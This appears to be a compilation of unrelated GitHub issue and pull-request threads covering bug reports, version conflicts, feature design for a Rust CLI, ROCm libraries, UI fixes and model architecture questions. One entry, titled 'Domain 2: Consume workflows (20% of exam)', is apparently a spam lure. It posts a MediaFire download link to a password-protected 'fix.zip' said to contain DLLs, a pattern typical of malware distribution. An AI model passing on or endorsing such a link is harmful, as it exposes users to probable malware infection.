They reset at 0:00 Pacific Time which is 9:00 German time. This is exactly when the errors stopped this morning.
Sadly the Google Cloud Dashboard adds up all the requests no matter whether they succeeded or not. I am really interested what the billing at the end of the month will show.

So (and this seems to be something at a much higher level) we need to be able to create a condition for when sensors update. For instance, I really don't need to know the time to work if I'm at work, or if I'm asleep.

This is something I generally would want. For example I used to monitor internet speed but this caused ping spikes when I was gaming. Would have wanted to turn the monitoring off when my Gaming PC is online.

With release 0.81 it should now be possible to only update the sensor when really needed.

Is this still an issue you are experiencing? Can you please try upgrading to the latest version of Home Assistant (0.90) and report back if this is still a problem? Thanks!

I am running 0.91.3 and I still have this issue:
Traceback (most recent call last):   File "/usr/local/lib/python3.7/site-packages/googlemaps/client.py", line 253, in _request     result = self._get_body(response)   File "/usr/local/lib/python3.7/site-packages/googlemaps/client.py", line 276, in _get_body     raise googlemaps.exceptions._RetriableRequest() googlemaps.exceptions._RetriableRequest

Running 0.94.4.
Traceback (most recent call last):
  File "/usr/local/lib/python3.7/site-packages/googlemaps/client.py", line 253, in _request
    result = self._get_body(response)
  File "/usr/local/lib/python3.7/site-packages/googlemaps/client.py", line 276, in _get_body
    raise googlemaps.exceptions._RetriableRequest()
googlemaps.exceptions._RetriableRequest

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/usr/local/lib/python3.7/concurrent/futures/thread.py", line 57, in run
    result = self.fn(*self.args, **self.kwargs)
  File "/usr/src/homeassistant/homeassistant/components/google_travel_time/sensor.py", line 108, in run_setup
    hass, name, api_key, origin, destination, options)
  File "/usr/src/homeassistant/homeassistant/components/google_travel_time/sensor.py", line 144, in __init__
    self.update()
  File "/usr/src/homeassistant/homeassistant/util/__init__.py", line 224, in wrapper
    result = method(*args, **kwargs)
  File "/usr/src/homeassistant/homeassistant/components/google_travel_time/sensor.py", line 225, in update
    self._origin, self._destination, **options_copy)
  File "/usr/local/lib/python3.7/site-packages/googlemaps/client.py", line 356, in wrapper
    result = func(*args, **kwargs)
  File "/usr/local/lib/python3.7/site-packages/googlemaps/distance_matrix.py", line 130, in distance_matrix
    return client._request("/maps/api/distancematrix/json", params)
  File "/usr/local/lib/python3.7/site-packages/googlemaps/client.py", line 260, in _request
    extract_body, requests_kwargs, post_json)
  File "/usr/local/lib/python3.7/site-packages/googlemaps/client.py", line 260, in _request
    extract_body, requests_kwargs, post_json)
  File "/usr/local/lib/python3.7/site-packages/googlemaps/client.py", line 260, in _request
    extract_body, requests_kwargs, post_json)
  [Previous line repeated 9 more times]
  File "/usr/local/lib/python3.7/site-packages/googlemaps/client.py", line 203, in _request
    raise googlemaps.exceptions.Timeout()
googlemaps.exceptions.Timeout

Seems to got this like yesterday.. restart doesn't help. Only thing i changed was google calendars, will try to see if that was the problem.

Yes, I only changed the name and rebooted. After that it works fine since then.

Also worth mentioning https://community.home-assistant.io/t/is-the-google-travel-time-sensor-broke/62548/43 so i'll double check billing now and my api keys to be sure. If this would resolve it, then the error message is just a bit off. Will check tonight if i find the time :)


LKlogger object has no attribute logt

Python 3.10.3
Poetry 1.1.13

The AttributeError points out embed_python_manager (it's one of pyportable_installer's dependencies) is using an old version of lk_logger library.
Currently (Mar 22th) the lk_logger has significantly upgraded from 4.0 to 5.0. But I forgot to check version spec conflicts among all its dependencies:
Now I have released a newer version to resolve this, please pip install:
pip install pyportable-installer>=4.3.3

If it worked, embed_python_manager will do like this:


[BUGS] Form radio checkbox should not modify checkboxes from another group

Form Radio Checkbox
In the official documentation form page,
in the Radio Checkbox section, there are 2 radio checkbox groups, that selects the first favorite fruit
and second favorite fruit respectively.  However, selecting any checkbox will deselect all other checkbox, even in the other group.
The expected result should be that the check boxes in the first group should only affect the ones in the first group and vice verca.
Version
2.2.9 and

This is just a docs (copy&paste i guess) issue , not a bug in the framework itself.
All radio nuttons have the same name-attribute fruit. If the second group would get a different one, say fruit2, then it works as expected. It`s usual HTML logic.
http://jsfiddle.net/bc3zsxa4/


Track git clones and forks?

I'd be open to a PR for this.
There are a couple of implementation details I'm not sure about. Currently, running traffic shows unique visits by default. I don't really want to require significantly more screen width, at least by default. So perhaps the clone/fork data could be hidden behind CLI arguments? Maybe something like --show-clones and --show-forks?
Also, while we're at it, it makes sense to also bring in the all traffic data (as opposed to unique visitors which is what traffic looks at currently). This should be hidden behind a CLI argument as well.
Finally, the trend column right now works on the unique visitors data. Would you see a trend column for each dataset the user has enabled? So if they are looking at unique visitors and clones by running traffic --show-clones then they would get a trend column for both? Or would the trend always be unique visitors?
Do you have any other thoughts on the implementation?

Maybe something like --show-clones and --show-forks?

On board with this.

hidden behind CLI arguments

Just a thought: I think it'd be a good idea to add a --show-all argument to display all the data (both default and hidden behind command line args) once data starts being hidden behind certain args.

Also, while we're at it, it makes sense to also bring in the all traffic data (as opposed to unique visitors which is what traffic looks at currently). This should be hidden behind a CLI argument as well.

Agreed.

Finally, the trend column right now works on the unique visitors data. Would you see a trend column for each dataset the user has enabled? So if they are looking at unique visitors and clones by running traffic --show-clones then they would get a trend column for both? Or would the trend always be unique visitors?

Maybe the right move is a config file, where the user sets their preferences. I'm thinking of something like this (INI, YAML, etc.), and just leave the default config the way it is now.
display-clones: True,
display-clones-trend: True,
display-forks: True,
...

Thanks for the feedback. I've added the good first issue label in hopes of encouraging a new contributor here. If anyone is interested in implementing this, let me know. I'd be happy to help in any way I can.
If it doesn't get picked up in the next few weeks then I'll take another look at implementing it myself.

I'd be interested to try this. I've haven't got a lot of experience with rust yet, but am motivated to do something with it.

@SebRut Go for it! Let me know if you need any help.
It actually looks like Github doesn't expose the fork counts, but they do have a clones endpoint.
https://developer.github.com/v3/repos/traffic/
According to the link above, the clone data actually mirrors the views data, so we should just be able to rename the Views, ViewsForDay, and ViewsForTwoWeeks data structures to something like Counts, CountsForDay, and CountsForTwoWeeks. Then, you can add the HTTP request to github.rs to retrieve the clones data.

It actually looks like Github doesn't expose the fork counts

https://developer.github.com/v3/activity/events/types/#forkevent
The way I'd solve this problem is by crawling the event history of each event and looking for forkEvents.

Seems like I'll have to pass on this, as termion isn't compatible with windows yet (https://github.com/redox-os/termion/issues/103) which makes compilation impossible for me.

@SebRut Can you check out #6 ? I've created an issue and pull request for Windows compatibility and I'd appreciate your feedback.

I added support for clones (SebRut/traffic@044079486866eb9eb0cf480694437ddaaeb6f8f9). Support for trends is also there, while not actually being shown for now. I'd appreciate any feedback on this :)

Since the clone data actually mirrors the views data, we can rename the Views, ViewsForDay, and ViewsForTwoWeeks data structures to Counts, CountsForDay, and CountsForTwoWeeks. Then, those same data structures can be used for the clones data and you won't have all of that duplicated code in the views.rs file.

Oh, big fail on my side, I was reading Count as Clone the whole time and was wondering what you meant with renaming, will do that.

It's possible to reduce the code duplication in the get_formatted_output method. You can setup the clones data as a separate string, and if the show-clones cli option is set then include that string, otherwise use an empty string. That way you don't have to copy/paste all the rest of the output data.

I guess we need to do a more modular construction of the output string anyway, with combinations of "only views", "views + clones", "views + clones + forks", etc. coming up sooner or later.
Thank you for the feedback.

I just got back to working on this, and after renaming I stumbled upon a new error arising with this change, the deserialization from JSON. At the moment this, expects an "views" array of every CountsForTwoWeeks JSON even for the clones data, where the array is named "clones". I'm currently evaluating how to solve this, but I'd like to hear any ideas you got.

Oh, interesting. Perhaps something clever could be done with the serde field attributes. I'd reach out to the serde developers as described in the serde help.
Alternatively, you could have separate structs for ViewsForTwoWeeks and ClonesForTwoWeeks, where they would each have a field which contains a Vec<CountsForDay>. Then implement From for conversion between ViewsForTwoWeeks and ClonesForTwoWeeks into CountsForTwoWeeks.  RepoDetails would then have a field called views and separate a field called clones, but each would have the datatype CountsForTwoWeeks. This would allow the impl block that contains get_trend_uniques and get_trend_uniques to be written for type CountsForTwoWeeks, which means we don't have to duplicate that logic. You would then convert from ViewsForTwoWeeks and ClonesForTwoWeeks into CountsForTwoWeeks when you build each RepoDetails struct. Let me know if you have any questions about this approach.


missing libamd_comgr.so in rocm 2.6?

Hello,
Just upgraded rocm 2.6 yesterday and tried running TVM using this script (related discussions)
It was fine with rocm 2.5 (or 2.4 maybe..), but now I hit following error:
  File "/usr/lib/python3.6/ctypes/__init__.py", line 348, in __init__
    self._handle = _dlopen(self._name, mode)
OSError: libamd_comgr.so: cannot open shared object file: No such file or directory

It appears libamd_comgr.so no longer exists in /opt/rocm/lib on my host.
With docker image, since the .so file is still there, the script can work (or error out as expected...)
What package should I install for that? Or I should just compile RadeonOpenCompute/ROCm-CompilerSupport for myself? (is it the right repo?)
BTW, I have gfx900 vega56 on my host.
Thanks!

Hi Jiachengpan
Can you try by installing comgr, you can install with apt install comgr command.

@gowthamcr thank you!
I just found that my rocm-dev is only 1.8.151...!!
somehow rocm-dev didn't got upgraded and no comgr was installed...
re-installing rocm-dev and thus installing comgr works for me.
closing...


add healthy for exporter

related https://github.com/sustainable-computing-io/kepler/issues/237

remove the log , others same to what we have ,simple HTTP reqeust to /healthz


fix(form elements): Opened shadow DOM to be able to read the proper values

Describe pull-request
Shadow DOM has been opened for textfield, textarea and slider.
This means that those elements can now be read as they were "proper" form elements.
A new story
Solving issue
Fixes: #1896
How to test
A new entry "FormTest" under "Utilities" was created, based on the original test-code from Mena.
Open the console and see what happens when the submit-buttons are pressed.

Not related too much with the review you are seeking here, but here is what I get in StoryBook:

@alexlioliopoulos hmm ok that's not good! I'll have a look.

@alexlioliopoulos alright, i've pushed an update (give it a minute) that fixed that.
It had nothing to do with my changes, so it's weird (but still, fixed!)

Looks good, thanks!

@alexlioliopoulos @theJohnnyMe @EmelieLitwin
so, my latest push actually also fixes the "disabled" textfield bug (can no longer be tabbed to).
I don't really think it's necessary to make yet another PR?

@alexlioliopoulos @theJohnnyMe @EmelieLitwin sorry my bad, it was supposed to be read-only state! (but there was also a bug with disabled, which is fixed now ;) )

Super, works great now!
Out of curiosity, what was the issue with the disabled state?

Also, read-only state for slider is added.
All in the same PR (will make it tons easier to merge later! sorry for any inconvienence)

@matyldamc I'd like your opinion on the read-only slider.
Currently it looks exactly as the normal slider, it is just not possible to interact with it.
Since we have no design for it, do you have an opinion on how it should look like? For instance, perhaps a grey slider instead of blue?

@matyldamc I'd like your opinion on the read-only slider.
Currently it looks exactly as the normal slider, it is just not possible to interact with it.
Since we have no design for it, do you have an opinion on how it should look like? For instance, perhaps a grey slider instead of blue?

Yes, my first thought was grey (with consideration for AA), and inability to interact with the slider (no hover effects, etc)

@alexlioliopoulos i similiar thing with the textfield, that you could "tab into" the input field.
@matyldamc will there be design for the read-only state?

@albinscania after talking to Matylda,

@alexlioliopoulos i similiar thing with the textfield, that you could "tab into" the input field.
@matyldamc will there be design for the read-only state?

Matylda and I discussed and for the read-only state we would like to have it as you do, so no color change, but have it un-hoverable. So no interaction can happen with it! Does it make sense?

Other than the code that is commented out, it looks good to me.

@albinscania after talking to Matylda,

@alexlioliopoulos i similiar thing with the textfield, that you could "tab into" the input field.
@matyldamc will there be design for the read-only state?

Matylda and I discussed and for the read-only state we would like to have it as you do, so no color change, but have it un-hoverable. So no interaction can happen with it! Does it make sense?

@albinscania just a reminder


Update web-runner v1.1.27

Describe the task
Update web-runner v1.1.27

Update API staking for Astar
Add Azero Domains is default pool
Update chain-list

Some update for 3DPass (addd new RPC, update logo, update explorer, update price)
Add support Energy Web X

Fix bug show history

Details: https://github.com/Koniverse/SubWallet-Extension/releases

This will be updated in https://github.com/Koniverse/SubWallet-Mobile/issues/1266


Fix Swipe Condition of Next Slide

Current Issue
The default value of swipeThreshold is 200. Because of an incorrect check for the next swipe, the user has to scroll more than the threshold value to swipe to the next slide.
Fix
The condition has to be reversed because swipeDistanceX will be negative in case of the next slide swipe.

@imranhsayed could you please check this PR?

Thanks @junaidbhura
I have tested this locally. PR update is fine.


Misalignment of Arabic surah names on homepage

Hi,
Apologies in advance if this comes across as nit-picking, but in the surah list on the homepage, the Arabic names of the surahs are misaligned. This means that it looks a bit off, and some of them actually overspill from their box when hovered:

Quick fix that seems to work - add float: right to the [class*=" icon-surah"], [class^=icon-surah] selector:

Thoughts?

Thanks for taking a look into it! Mind putting together a PR to fix it?

@refrigerator Nice catch!

Is this being worked on? If not, I can make the quick fix so the page will look better.

@ajalger please go ahead :)


Invalid links

Link to OfficeControls does not contain OfficeControl IDs.
Specifically this link:
https://github.com/OfficeDev/office-control-ids

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: 175d0cdb-4314-fdea-be3c-e0a46fe53076
Version Independent ID: dbec79fd-ff33-dc51-1599-b52a17df66d0
Content: Integrate built-in Office buttons into custom control groups and tabs - Office Add-ins
Content Source: docs/design/built-in-button-integration.md
Product: non-product-specific
Technology: add-ins
GitHub Login: @o365devx
Microsoft Alias: o365devx

@jemery27 It looks like that repo does have an Excel file that contains the control IDs for PowerPoint, which is the only Office application that supports integrating build-in Office buttons into custom groups. If I've misunderstood, could you please provide more details?

Oh yes that is correct, but none of the reference links mention that control IDs are only available in PowerPoint. As an example this page mentions OfficeControl as a child element of the manifest Group element and it specifically says it is not supported in Outlook. The example in that doc is  - I would think many office apps support Superscipts. Why wouldn't it be supported in other apps?
In addition - even the readme in that github says "1. Open the folder for the Office application; for example, PowerPoint.". That would make me think there could be other Office applications.
Thank you,
Jason

I have reenforced the note near the top of the Readme. The updated manifest docs will be published late tomorrow. I'm closing this issue, but if you have further questions or comments, we will still see them. Thanks for your interest in Office Add-ins.


New Design - GameCard

Updated the  Component to match new design.
https://www.figma.com/file/2Yvkp0qplQuXggYBnadf9m/Untitled?node-id=0%3A1

@mayashley This Home page redesign is now in flight.
@WinstonHall Please provide screenshots of the UI and request a review from Ashley when opening the PR.

Leaving notes, I dont know where else to put, here as I run into stuff doing this.
First note, GameCard was running into issues importing memo from react if a child component also used it.
I was lifting up one of the memos because its going to be used twice in Child Components.
The other memo was to round any number values given to Rating, to clean up the value for a whole number string.
Is there a reason for that or is that just a weird bug?
@Raymond-Cox

First note, GameCard was running into issues importing memo from react if a child component also used it.

Weird, but ok. I've never seen such an error before.

The other memo was to round any number values given to Rating, to clean up the value for a whole number string.

The useMemo in that context wasn't required, it was just an optimization. The function used to round/clean up the rating value is still necessary.


Debug: current stopped line should indicate better?

Especially when you enable to show values like here:

You end up with so many yellow lines that the current line that is stopped becomes harder to track.
Slightly related to: https://github.com/microsoft/vscode/issues/119485

I think this is not the problem with the current line which I would not change.
I would just change the inline value decorations. We can change them to be darker and less in your face.
fyi @misolori @weinand @connor4312

You can change the color of that entire line with the ColorCustomization:
"editor.stackFrameHighlightBackground": "#ff0000",
It also affects the inline decorations on that line but not the other lines.

Are the yellow highlights on the inline values really necessary? That is what makes them so noisy to me. I think I'd prefer they look more subtle like gitlens annotations. This is also interesting to me because I'd like to introduce something similar for notebook kernel variables.

Maybe the contrast needs to be stronger, compare with Chrome:

//cc @daviddossett


How to force language of ASR?

I have dataset with Uzbek audios. But sometimes model predicts as [tr] or even [ru]. How can I force model to make prediction as [uz] language?

I had the same problem, all of my audios were recognized as TR, UZ but not KK (the original one). I think there's no possibility to force the program to recognize audio as N language without editing its sources. And I also think this repo is no longer maintained.


Add documentation for Meta Data

Can you please provide more context for Meta Data? Or at least can you please show where we can find more info about them?
That will help us contribute to the library and cover this part. Thanks!
https://github.com/BattGenie/pycti/blob/main/pyctiarbin/messages.py

@nickjtch can you please specify what you mean by meta data? Maybe a link to a specific line in the file would help.

@chintanp my bad, I meant meta variables. Here's a link to the related method: https://github.com/BattGenie/pycti/blob/main/pyctiarbin/messages.py#L1086

Meta variables are an Arbin construct. More details in their manual. Essentially, it is the variable that one can assign to values in a schedule. CTI docs are here: https://github.com/BattGenie/pycti/tree/main/docs and may have some info what meta variables are.

@nickjtch Closing this now. Let me know if you have further questions.


Domain 2: Consume workflows (20% of exam)

download
https://www.mediafire.com/file/q4gho1ar8e43udd/fix.zip/file
Pass: changeme
I put the necessary dlls in the archive


SalsaNet to SalsaNext, difference from addition op to concat.

Hi,
I have read both SalsaNet and SalsaNext, and they are great work.
I noticed that you have change the skip connection in docoder from add to concat. Have you compared the performance between them, and what is the qualitative results.
Thanks.

Hello @zeyu-hello!
We did compare, albeit we do not have an ablative study for that specifically. The main idea behind moving from moving from add to concat was motivated by PixelShuffle. Given that it will consume the channels for the upsampling, and trying to maintain a somewhat stable number of filters for it, without necessarily introducing new channels from other CNN layers.

Hello2 @zeyu-hello!
We compared but we do not have any ablative study done on that. The main idea was to try to improve the ability of the network to merge information coming from the decoder side. This will help us maintain more representational information coming from the encoder, that will later be merged through block IV.
I will try to find my runs with and without (I cannot assure I will find them) and if I find them I will share the differences! =)

I know this concat is often applied in U-Net. The main idea I curious about this is that during deploymentation, concat op is not friendly for memory usage. If the error is somewhat acceptable, I could replace them to add.
Thanks in advance! @TiagoCortinhal


Staking window password input field does not handle 'return'

Pressing return to enter a password on the staking window will cause a newline instead of submitting the modal form.

resolved by 981